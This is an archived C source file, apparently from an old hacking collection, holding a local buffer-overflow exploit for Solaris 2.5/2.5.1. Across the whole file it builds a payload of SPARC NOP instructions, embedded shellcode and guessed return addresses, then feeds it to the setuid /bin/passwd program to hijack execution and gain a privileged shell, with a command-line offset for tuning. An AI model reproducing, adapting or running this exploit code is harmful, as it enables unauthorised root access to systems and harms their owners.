home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / lemon25.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  1KB  |  63 lines

  1. /*
  2. This is for Solaris 2.5.(1) !
  3. With argv[1] you can modify the stack offset (+-500) if you have troubles
  4. ...
  5. */
  6.  
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <sys/types.h>
  10. #include <unistd.h>
  11.  
  12. #define BUF_LENGTH      1100
  13. #define EXTRA           1200
  14. #define STACK_OFFSET    3800
  15. #define SPARC_NOP       0xa61cc013
  16.  
  17. u_char sparc_shellcode[] =
  18. "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
  19. "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
  20. "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
  21. "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
  22. "\x82\x10\x20\x3b\x91\xd4\xff\xff"
  23. ;
  24.  
  25. u_long get_sp(void)
  26. {
  27.   __asm__("mov %sp,%i0 \n");
  28. }
  29.  
  30.  
  31. void main(int argc, char *argv[])
  32. {
  33.   char buf[BUF_LENGTH + EXTRA];
  34.   long targ_addr;
  35.   u_long *long_p;
  36.   u_char *char_p;
  37.   int i, code_length = strlen(sparc_shellcode),dso=0;
  38.  
  39.   if(argc > 1) dso=atoi(argv[1]);
  40.  
  41.   long_p =(u_long *)  buf;
  42.     targ_addr = get_sp() - STACK_OFFSET - dso;
  43.  
  44.   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
  45.     *long_p++ = SPARC_NOP;
  46.  
  47.   char_p = (u_char *) long_p;
  48.  
  49.   for (i = 0; i < code_length; i++)
  50.     *char_p++ = sparc_shellcode[i];
  51.  
  52.   long_p = (u_long *) char_p;
  53.  
  54.  
  55.   for (i = 0; i < EXTRA / sizeof(u_long); i++)
  56.     *long_p++ =targ_addr;
  57.  
  58.   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
  59.   targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  60.   execl("/bin/passwd", "passwd", buf,(char *) 0);
  61.   perror("execl failed");
  62. }
  63.